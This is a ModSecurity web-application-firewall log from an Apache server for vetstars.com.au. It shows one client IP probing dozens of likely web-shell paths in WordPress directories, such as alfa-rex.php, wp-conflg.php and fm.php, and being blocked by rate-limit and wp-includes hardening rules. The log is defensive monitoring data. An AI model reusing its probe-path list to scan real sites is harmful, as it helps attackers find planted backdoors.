[Fri Apr 03 05:09:31.889936 2026] [:error] [pid 22778:tid 22797] [client 20.104.201.101:1755] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7bC_S-q9hkdFqUjq9pzQAAAMw"]
[Fri Apr 03 05:09:32.296562 2026] [:error] [pid 22778:tid 22796] [client 20.104.201.101:2041] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/item.php"] [unique_id "ac7bDPS-q9hkdFqUjq9p0gAAAMs"]
[Fri Apr 03 05:09:32.309983 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1808] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7bDEze_aEPDM9xEE2flAAAARQ"]
[Fri Apr 03 05:09:32.720440 2026] [:error] [pid 58590:tid 58598] [client 20.104.201.101:1604] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/item.php"] [unique_id "ac7bDEze_aEPDM9xEE2fmAAAAQY"]
[Fri Apr 03 05:09:33.312852 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:2015] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/item.php"] [unique_id "ac7bDUze_aEPDM9xEE2fngAAAQw"]
[Fri Apr 03 05:09:33.314508 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:1728] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7bDUze_aEPDM9xEE2fnwAAAQc"]
[Fri Apr 03 05:09:33.745766 2026] [:error] [pid 22778:tid 22800] [client 20.104.201.101:1982] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/system.php"] [unique_id "ac7bDfS-q9hkdFqUjq9p3AAAAM8"]
[Fri Apr 03 05:09:33.825206 2026] [:error] [pid 58590:tid 58601] [client 20.104.201.101:1778] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7bDUze_aEPDM9xEE2fowAAAQk"]
[Fri Apr 03 05:09:34.237653 2026] [:error] [pid 22778:tid 22798] [client 20.104.201.101:1725] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bDvS-q9hkdFqUjq9p4gAAAM0"]
[Fri Apr 03 05:09:34.276039 2026] [:error] [pid 22778:tid 22804] [client 20.104.201.101:1991] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7bDvS-q9hkdFqUjq9p4wAAANM"]
[Fri Apr 03 05:09:34.666511 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1781] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bDu-GlVDWdWxxwJB2gQAAAJg"]
[Fri Apr 03 05:09:35.181385 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:1694] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bD--GlVDWdWxxwJB2gwAAAIk"]
[Fri Apr 03 05:09:35.634315 2026] [:error] [pid 22673:tid 22766] [client 20.104.201.101:1774] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bD--GlVDWdWxxwJB2hwAAAJQ"]
[Fri Apr 03 05:09:35.792751 2026] [:error] [pid 58590:tid 58603] [client 20.104.201.101:1684] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/item.php"] [unique_id "ac7bD0ze_aEPDM9xEE2fqAAAAQs"]
[Fri Apr 03 05:09:36.129909 2026] [:error] [pid 22778:tid 22785] [client 20.104.201.101:1677] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/admin.php"] [unique_id "ac7bEPS-q9hkdFqUjq9p7QAAAMA"]
[Fri Apr 03 05:09:37.255584 2026] [:error] [pid 58590:tid 58595] [client 20.104.201.101:1839] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/admin.php"] [unique_id "ac7bEUze_aEPDM9xEE2ftgAAAQM"]
[Fri Apr 03 05:09:41.820674 2026] [:error] [pid 58590:tid 58600] [client 20.104.201.101:1766] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/admin.php"] [unique_id "ac7bFUze_aEPDM9xEE2f1gAAAQg"]
[Fri Apr 03 05:09:42.369501 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1760] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/admin.php"] [unique_id "ac7bFvS-q9hkdFqUjq9p_wAAAMk"]
[Fri Apr 03 05:09:43.079814 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:1710] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/alfa-rex.php"] [unique_id "ac7bF--GlVDWdWxxwJB2ngAAAJI"]
[Fri Apr 03 05:09:43.718801 2026] [:error] [pid 22673:tid 22757] [client 20.104.201.101:1706] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ac7bF--GlVDWdWxxwJB2pAAAAIs"]
[Fri Apr 03 05:09:44.212768 2026] [:error] [pid 58590:tid 58593] [client 20.104.201.101:1762] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/about.php"] [unique_id "ac7bGEze_aEPDM9xEE2f2QAAAQE"]
[Fri Apr 03 05:09:44.751176 2026] [:error] [pid 22778:tid 22803] [client 20.104.201.101:1910] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/about.php"] [unique_id "ac7bGPS-q9hkdFqUjq9qCwAAANI"]
[Fri Apr 03 05:09:45.323339 2026] [:error] [pid 22673:tid 22747] [client 20.104.201.101:1757] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/about.php"] [unique_id "ac7bGe-GlVDWdWxxwJB2qwAAAIE"]
[Fri Apr 03 05:09:45.831097 2026] [:error] [pid 22673:tid 22763] [client 20.104.201.101:1830] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/about.php"] [unique_id "ac7bGe-GlVDWdWxxwJB2rgAAAJE"]
[Fri Apr 03 05:09:46.285350 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:1779] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "ac7bGkze_aEPDM9xEE2f4AAAARE"]
[Fri Apr 03 05:09:46.910520 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1705] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "ac7bGu-GlVDWdWxxwJB2sgAAAIw"]
[Fri Apr 03 05:09:47.482017 2026] [:error] [pid 22673:tid 22753] [client 20.104.201.101:1773] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "ac7bG--GlVDWdWxxwJB2tAAAAIc"]
[Fri Apr 03 05:09:48.135541 2026] [:error] [pid 22673:tid 22746] [client 20.104.201.101:1738] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "ac7bHO-GlVDWdWxxwJB2twAAAIA"]
[Fri Apr 03 05:09:48.739868 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1690] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/blue.php"] [unique_id "ac7bHPS-q9hkdFqUjq9qGgAAANA"]
[Fri Apr 03 05:09:49.213050 2026] [:error] [pid 22778:tid 22792] [client 20.104.201.101:1729] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/blue.php"] [unique_id "ac7bHfS-q9hkdFqUjq9qIQAAAMc"]
[Fri Apr 03 05:09:49.947421 2026] [:error] [pid 22671:tid 22708] [client 20.104.201.101:1790] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/blue.php"] [unique_id "ac7bHSRuUnMW7r8hvyY9yQAAABE"]
[Fri Apr 03 05:09:50.601664 2026] [:error] [pid 22673:tid 22751] [client 20.104.201.101:1771] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/blue.php"] [unique_id "ac7bHu-GlVDWdWxxwJB2vQAAAIU"]
[Fri Apr 03 05:09:51.105272 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:1671] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "ac7bH6zrgXkFSOK0fvp6CQAAAEA"]
[Fri Apr 03 05:09:51.787490 2026] [:error] [pid 22673:tid 22767] [client 20.104.201.101:1791] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "ac7bH--GlVDWdWxxwJB2ygAAAJU"]
[Fri Apr 03 05:09:52.903502 2026] [:error] [pid 22673:tid 22768] [client 20.104.201.101:1750] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "ac7bIO-GlVDWdWxxwJB21AAAAJY"]
[Fri Apr 03 05:09:53.490312 2026] [:error] [pid 22778:tid 22804] [client 20.104.201.101:1666] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "ac7bIfS-q9hkdFqUjq9qLQAAANM"]
[Fri Apr 03 05:09:53.944551 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1703] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/configs.php"] [unique_id "ac7bIfS-q9hkdFqUjq9qNQAAAMU"]
[Fri Apr 03 05:09:54.357720 2026] [:error] [pid 58590:tid 58614] [client 20.104.201.101:1782] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/configs.php"] [unique_id "ac7bIkze_aEPDM9xEE2f5gAAARY"]
[Fri Apr 03 05:09:54.945753 2026] [:error] [pid 22671:tid 22706] [client 20.104.201.101:1652] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/configs.php"] [unique_id "ac7bIiRuUnMW7r8hvyY9ygAAAA8"]
[Fri Apr 03 05:09:55.509544 2026] [:error] [pid 58590:tid 58615] [client 20.104.201.101:1792] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/configs.php"] [unique_id "ac7bI0ze_aEPDM9xEE2f7gAAARc"]
[Fri Apr 03 05:09:55.927088 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1674] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/about.php"] [unique_id "ac7bI0ze_aEPDM9xEE2f8QAAARQ"]
[Fri Apr 03 05:09:56.423114 2026] [:error] [pid 22778:tid 22795] [client 20.104.201.101:1714] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bJPS-q9hkdFqUjq9qOAAAAMo"]
[Fri Apr 03 05:09:56.873901 2026] [:error] [pid 22778:tid 22793] [client 20.104.201.101:1959] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bJPS-q9hkdFqUjq9qOgAAAMg"]
[Fri Apr 03 05:09:57.374189 2026] [:error] [pid 22672:tid 22738] [client 20.104.201.101:1687] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bJazrgXkFSOK0fvp6DwAAAFM"]
[Fri Apr 03 05:09:57.988227 2026] [:error] [pid 22673:tid 22767] [client 20.104.201.101:1716] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bJe-GlVDWdWxxwJB26wAAAJU"]
[Fri Apr 03 05:09:58.425346 2026] [:error] [pid 22672:tid 22741] [client 20.104.201.101:1848] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bJqzrgXkFSOK0fvp6EQAAAFY"]
[Fri Apr 03 05:09:59.033909 2026] [:error] [pid 22671:tid 22708] [client 20.104.201.101:2021] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bJyRuUnMW7r8hvyY91AAAABE"]
[Fri Apr 03 05:09:59.912505 2026] [:error] [pid 58590:tid 58603] [client 20.104.201.101:1702] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/system.php"] [unique_id "ac7bJ0ze_aEPDM9xEE2gAwAAAQs"]
[Fri Apr 03 05:10:00.401151 2026] [:error] [pid 22778:tid 22785] [client 20.104.201.101:1780] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bKPS-q9hkdFqUjq9qVAAAAMA"]
[Fri Apr 03 05:10:00.594418 2026] [:error] [pid 58590:tid 58593] [client 20.104.201.101:1933] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bKEze_aEPDM9xEE2gBwAAAQE"]
[Fri Apr 03 05:10:01.118614 2026] [:error] [pid 58590:tid 58598] [client 20.104.201.101:1673] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bKUze_aEPDM9xEE2gCwAAAQY"]
[Fri Apr 03 05:10:01.224614 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1608] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bKUze_aEPDM9xEE2gDwAAARI"]
[Fri Apr 03 05:10:03.631494 2026] [:error] [pid 22673:tid 22759] [client 20.104.201.101:1607] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/wp-conflg.php"] [unique_id "ac7bK--GlVDWdWxxwJB29AAAAI0"]
[Fri Apr 03 05:10:13.809391 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1934] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/alfa-rex.php"] [unique_id "ac7bNfS-q9hkdFqUjq9qbAAAANA"]
[Fri Apr 03 05:10:14.562742 2026] [:error] [pid 22671:tid 22714] [client 20.104.201.101:2047] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ac7bNiRuUnMW7r8hvyY93AAAABc"]
